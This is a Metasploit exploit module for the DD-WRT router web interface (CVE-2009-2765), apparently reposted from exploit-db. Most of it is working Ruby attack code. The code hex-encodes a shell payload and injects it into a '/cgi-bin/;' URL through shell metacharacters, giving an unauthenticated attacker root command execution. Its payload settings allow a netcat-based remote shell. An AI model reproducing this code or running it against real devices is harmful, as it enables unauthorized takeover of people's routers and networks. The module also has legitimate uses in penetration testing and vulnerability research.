DD-WRT HTTPd Daemon/Service – Arbitrary Command Execution (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-07-07

类别：

webapps

平台：

cgi

来源：https://www.exploit-db.com/exploits/16856/

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##

# $Id: ddwrt_cgibin_exec.rb 9719 2010-07-07 17:38:59Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /DD-WRT/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',

'Description'=> %q{

This module abuses a metacharacter injection vulnerability in the

HTTP management server of wireless gateways running DD-WRT. This flaw

allows an unauthenticated attacker to execute arbitrary commands as

the root user account.

},

'Author' => [ 'gat3way', 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9719 $',

'References' =>

[

[ 'CVE', '2009-2765' ],

[ 'OSVDB', '55990' ],

[ 'BID', '35742' ],

[ 'URL', 'http://www.milw0rm.com/exploits/9209' ]

],

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => true,

'Payload'=>

{

'Space' => 1024,

'DisableNops' => true,

'Compat'=>

{

'RequiredCmd' => 'generic netcat-e'

}

},

'Targets'=>

[

[ 'Automatic Target', { }]

],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jul 20 2009'

))

end

def exploit

cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join

# TODO: force use of echo-ne CMD encoder

str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"

print_status("Sending GET request with encoded command line...")

send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })

print_status("Giving the handler time to run...")

handler

select(nil, nil, nil, 10.0)

end